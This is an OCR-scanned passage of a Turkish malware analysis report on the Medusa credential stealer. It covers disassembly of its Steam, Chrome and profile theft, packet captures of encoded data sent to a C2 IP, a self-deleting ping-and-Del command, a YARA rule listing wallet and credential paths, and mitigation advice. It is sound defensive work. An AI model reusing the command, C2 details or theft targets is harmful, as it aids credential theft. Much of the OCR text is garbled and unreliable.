FF].S E6D50400 ca'l1 qword ptr ds: [<&Regqueryva'\ueExA>]

test eax,eax eax:"SOFTWARE'\Valve\\5team"

- UFBS E7000000 jne medusa.l3FSFEB1L

44:884424 60 mov rad,dword ptr ss:[rsp+6Ol

Sekil 27 — Steam Bilgilerini Elde Edilmesi

Devaminda zararli, Chrome tarayicisindaki kullanicilarin profil fotograflarini

toplamaktadir.

“0.004¥ Vo WUV 1 LA YU U P oyt CATOY
48:8841 38 mov rax, g»ord p(r :[rex+38)

48:3938 cmp qwor } ax],rdi

74 21 je medusa. 13‘806461

48:8851 50 mov u,n.gword ptr [ X ] rox+ r G theme/IDR_PROFILE_AVATAR_2€
8802 mov eax,dword ptr x]

85¢0 test eax,ea

7€ 17 jle medusa 13F506461

FFC8 dec e

8902 mov d»\ord ptr ds:[rd

48:8849 38 mov rcx,qword ptr 8]

48:8811 mov rdx,qword ptr

4R:8n4> M 1oa rax award nre

Sekil 28 — Zararlinin Kul/an/C/ Profil Fotogtaflarini Elde Etmesi




4
r

Zararl, kilittenmis kullanici profillerinin bilgilerini elde etmeye ¢calismaktadir.

45:¥D41 U1 1ea rax,qwora ptr as:|rcx+1] r
48:8943 60 mov qword ptr ds:[rbx+60],rax ra
48:8043 50 lea rax,qword ptr ds:[rbx+50] rax: [rbx+50]: "force_signiapp
48:83FA 10 cmp rdx,1
72 04 jb medusa.13FBOSESF
48:8843 50 mov rax,qword ptr ds:[rbx 1 rax:"f s [rbx+50] : "force_signiapps
44:880C08 mov byte ptr ds:[rax+rcx],r9b rax+rcx
€64408 01 00 Imov byte ptr ds:[raxircx:1],0 |raxsrex 1+
E9 FE000000 1mp medusa,13FB05F9B
48:8045 B7 ea rax,qword ptr ss:[frbp-49]
C745 87 80000000 mov dword ptr ss:frbp-49],8
jmp medusa, 13r806490
mov rcx,qword ptr :[rex+8)
mov rd-,gnord ptr :frexs38)
cmp gqword ptr :[rax],rd
je medusa.13FB06461
mov rax,gword ptr % X ]
mov ea ord ptr x]
Test eax,eax
ile medusa.13F806461
dec eax
mov dword ptr :[
mov x,qword ptr ]
mov x,qword ptr

las - e d nve

Sekil 29 — Zararlinin Kullanci Profillerini Elde Etmesi

Zararll, 79[.]12137[.]203][.]224 |IP’sine gonderdidi istek sonucunda 15666 portu
araciligiyla three way handshake gerceklestirmektedir. Bu haberlesme ile veriler

sifreli bir sekilde'sunucuya yuklenmektedir.

- 21.788670 192.168.67.129 79.137.203.224 TCP 66 49178 + 15666 [SYN] Seq=0 Win=8192 Len=@ MSS=146@ W5=256 SACK_PERM
31.851320 79.137.203.224 192.168.67.129 TCP 60 15666 + 49178 [SYN, ACK] Seg=0 Ack=1 Win=64240 Len=@ MSS=146@
4 1.851384 192.168.67.129 79.137.283.224 TCP 54 49178 =+ 15666 [ACK] Seq=1 Ack=1 Win=6424@ Len=@

163 13.885612 192.168.67.129 79.137.203.224 TCP 2974 49178 + 15666 [ACK] Segq=1 Ack=1 Win=64248 Len=2920

164 13.885833 79.137.283.224 192.168.67.129 TCP 60 15666 =+ 49178 [ACK] Seq=1 Ack=1461 Win=64248 Len=0

165 13.885833 79.137.283.224 192.168.67.129 TCP 60 15666 + 49178 [ACK] Seq=1 Ack=2921 Win=64248 Len=@

166 13.885875 192.168.67.129 79.137.203.224 TCP 5894 49178 + 15666 [ACK] Seq=2921 Ack=1 Win=6424@ Len=5840

167 13.886061 79.137.283.224 192.168.67.129 TCP 60 15666 —+ 49178 [ACK] Seq=1 Ack=4381 Win=64248 Len=0

168 13.886061 79.137.283.224 192.168.67.129 TCP 60 15666 + 49178 [ACK] Seg=1 Ack=5841 Win=64248 Len=0

169 13.886061 79.137.203.224 192.168.67.129 TCP 60 15666 + 49178 [ACK] Seg=1 Ack=7301 Win=64248 Len=0

170 13.@86061 79.137.283.224 192.168.67.129 TCP 60 15666 =+ 49178 [ACK] Seq=1 Ack=8761 Win=64248 Len=0

171 13.886094 192.168.67.129 79.137.203.224 TCP 11.. 49178 + 15666 [ACK] Seq=8761 Ack=1 Win=64240 Len=11680

172 13.886307 79.137.203.224 192.168.67.129 TCP 60 15666 + 49178 [ACK] Seg=1 Ack=10221 Win=64240 Len=0

173 13.886387 79.137.283.224 192.168.67.129 TCP 60 15666 =+ 49178 [ACK] Seq=1 Ack=11681 Win=64248 Len=0

174 13.886307 79.137.283.224 192.168.67.129 TCP 60 15666 + 49178 [ACK] Seq=1 Ack=13141 Win=6424@ Len=0

175 13.886307 79.137.203.224 192.168.67.129 TCP 60 15666 + 49178 [ACK] Seg=1 Ack=14601 Win=64240 Len=0

176 13.886336 192.168.67.129 79.137.203.224 TCP 11.. 49178 » 15666 [ACK] Seq=20441 Ack=1 Win=64240 Len=11680

177 13.886489 79.137.203.224 192.168.67.129 TCP 60 15666 + 49178 [ACK] Seg=1 Ack=16861 Win=6424@ Len=0
“ 178 12 ARRARG 74 1327 2332 274 192 1A% R7 174G Trp AA 1CAAA » AG1TR TACK] Sen—=1 Ack—17571 Win—AA2AAQ | an—-0
 Frame 166: 5894 bytes on wire (47152 bits), 5894 bytes fa f@ 1f Sa 00 @0 63 47 70 69 4d 6a 46 33 59 32 cG piMjF3Y2
> Ethernet II, Src: VMware 91:6a:07 (00:0c:29:91:6a:87), 31 57 62 31 70 58 4e 58 7@ 68 57 46 70 73 53 55  1Wb1pXNX phWFpsSU

64 73 64 56 7@ 74 Af 58 6c 69 56 38 59 77 59 56
63 35 64 55 6¢c 48 62 48 56 4a 53 46 4a 76 57 6¢
4e 43 52 56 78 59 57 6d 78 69 52 7a 6¢c 33 57 6¢
68 4a 62 6d 4e 35 51 6b 68 6b 56 32 78 72 57 6¢
4e 43 61 47 52 45 62 3@ 35 44 5a 7a 42 4c 59 55
[Length: 5848] 68 53 4d 47 4e 49 54 54 5a 4d 65 54 6b 7a 5a 44
4e 6a 64 57 51 79 62 48 6c 61 57 45 35 76 57 56
68 4b 63 6b 78 74 Af 58 6c 61 65 54 6c 72 59 6a
4a 4f 65 6b 78 33 4d 45 73 69 4c 41 6f 67 49 43
41 67 49 43 41 67 49 43 41 67 49 43 41 69 5a 6d
6c 73 Sa 57 35 68 62 57 55 69 4f 69 41 69 56 57
74 57 51 6¢ 4a 46 Ad 55 5a 4d 62 6d 52 77 59 6d
31 53 64 6d 51 7a 54 58 56 6b 53 47 67 77 49 67
iy E—— v 6T 67 49 43 41 67 49 43 41 67 49 48 38 73 43 69

dsdVptOX 1ivVeywYV
c5dUlHbH VISFIvil
NCRVpYWm xiRz13Wl
hIbmN5Qk hkV2xril
NCaGREb@ 5DZzBLYU
hSMGNITT ZMeTkzZD
NidWQybH laWESviv
hKckxtOX laeTlrYj
J0ekx3ME silAogIC
AgICAgIC AgICAiZm
1sZW5hbW UiOiAiV
tWQLIFMU ZMbmRwYm
1S5dmQzTX VkSGgwlg
ogICAgIC AgIH@sCi

Internet Protocol Version 4, Src: 192.168.67.129, Dst:
> Transmission Control Protocol, Src Port: 49178, Dst Po
Data (5840 bytes)

Data: 634778694d6a463359323157623170584e5870685746707

.

Sekil 30 — Zararhinin Sunucu ile Baglantisinin Elde Edilmesi




A
y

Zararlinin gifreli verileri gozimlendiginde tekrar BASE64 formatinda sifrelendigi

gbzlemlenmektedir.

"content”: "RGVuUZW1lwWWF6aXNp™,
"filename™: "dGvzdC5@eHQ="

"content™:
S3VsbGFualWNpIEFkaTphZG1pbgpTaWZyZTphZG1pbgoKS3VsbGFuaWNpIEFkaTpkZXNOcm95ZXIKU21mcmU6MT IZNDU2Cg==
"filename": "c2lmcmvsZXIudHhe
¥
])
“chromium browsers™: {
"Google Chrome”: {
"Default™: {
"Extension Cookies":

Sekil 31 — Zararlinin Sifreli Verilerinin Elde Edilmesi

Sifrelenmis veriler tekrar ¢ozumlendiginde kurban bilgisayarin verilerinin ele

gecirildigi gérulmustar.

"content™: "DenemeYazisi”,
"filename"”: "test.txt"

"content™:
Kullanici Adi:admin
Sifre:admin

Kullanici Adi:destroyer
Sifre:123456
"filename": "sifreler.txt™

i

1,

“chromium browsers": {

"Google Chrome": [

Sekil 32 — Zararlinin Sifreli Verilerinin Céziimlenmesinin Elde Edilmesi

4
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Son olarak zararli, GetModuleFileNameA API kullanilarak verilen yuUratalebilir

dosyanin konumunu almaktadir. Ardindan ShellExecuteA API ile komut istemcisini

actiktan sonra Sekil 34’deki komutu ¢alistirmaktadir.

cnd. exe
“/C ping 1.1.1.1 -n 1 -w 3000 > Ml & Del
medusa. 00000001 3¢ 700000

0000000000107620
0000000080000000

medusa, 00000001 3F7 39560

Sekil 33 — Zararlinin Islemini Tamamladiktan Sonra Kendisini Silmesinin Elde Edilmes/

Asagidaki.cmd. scriptiile Nul komutu ekrana herhangi bir ¢ikti vermeden 1[-J&[]2[]1[.]
IP adresine bir paket gonderir,ve 3 saniye araliklarla bir timeout olusturmaktadir. 3
saniye sonra Del'komutu calismaktadir. Komut ¢alistiktan sonra zararl kendisi silerek

islemlerine son vermektedir.

ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q \”C:\\Users\\*\\Desktop\\medusa.exe”

Sekil 34 — Zararlinin Kendisini Silerken Calistirdigr Komut




YARA Kurali

rule Medusa {

meta:

author = "ZAYOTEM"

description = "MedusaStealer"

strings:

$walletl = "\\Electrum\\wallets\\"

$wallet2 = "\\atomic\\Local Storage\\leveldb\\"

$wallet3 = "\WalletWasabi\\Client\\Wallets\\"

$wallet4 = "Coinomi\\Coinomi\\wallets"

$wallet5 = "\\Exodus\\exodus.wallet\\"

$wallet6 = "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\"

$wallet7 = "\\Metamask\\"

$k1 = "SOFTWARE\Microsoft\Windows Messaging
Subsystem\\Profiles\9375CFF0413111d3B88A00104B2A6676"

$k2 = "SOFTWARE\Microsoft\Windows NT\\CurrentVersion\Windows Messaging
Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"

$x1 = "DiscordDevelopment\\accounts.xml"

$x2 = "Ethereum\\keystore"

$x3 = "User Data\\Extension Cookies"

$x4 = "Web Data"

$x5 = "Login Data"

$x6 = "DiscordPTB"

$x7 = "DiscordCanary"




$c1 = "Bitcoin”

$c2 = "Ethereum”

$c3 = "Armory"

$c4 = "bytecoin”

$c5 = "LiteCoin"

$apil = "EnumDisplayDevicesA"

$api2 = "GdipCreateBitmapFromHBITMAP"

$api3 = "GetUserDefaultLocaleName"

$api4 = "CryptoMsgDIICNGExportKeyFree"

$api5 = "GdipSavelmageToStream"

$api6 = "InternetReadFile"

$api7 = "WSAStartup”

$api8 = "InternetOpenUrlA”

$api9 = "HttpQueryInfow"

$apil0 = "InternetQueryDataAvailable"

$apill = "IsDebuggerPresent"

condition:

all of them or

4 of ($wallet*) and 3 of ($c*) or

4 of ($wallet*) and 3 of ($api*) or

2 of ($wallet*) and all of ($k*) and all of ($x*) and $ip




MITRE ATTACK TABLE

Defense Credential

Collection Execution Discovery Evasion Access Exfliration
Data from Windows File and Credentials Exfliration
Local Command Directory Ds\l/);sgijgﬁr from Web S;ig%?;d Over C2
System Shell Discovery (T1622) Browsers (T1132 OOgl) Channel
(T1005) (T1059.003) (T1083) (T1555.003) : (T1041)
Quer Deobfuscate/ Steal Web
Re ist): Decode Filesor Session
(Tfng/ Information Cookie
(T1140) (T1539)
System
Information
Discovery
(T1082)

Co6ziim Onerileri

Gulncel birantiviris programi kullaniimalidir.
Parolalar bilgisayar icerisinde agik metin seklinde depolanmamalidir.
Bilinmeyen uygulamalar kontrol edilmeden ¢alistiriimamalhdir.

Kripto clizdanlarinda.iki faktorla kimlik dogrulamasi kullaniimahdir.

o~ W DdPE

Soguk clzdan gibi daha @uvenilir kripto para saklama yontemleri tercih
edilmelidir.

Bilinmeyen e-postalarin ek dosyalari acilmamalidir.

Guvenilir kaynaktan olmayan linklere tiklanmamalidir.

8. Kullanilan uygulamalar guncel tutulmahdir.
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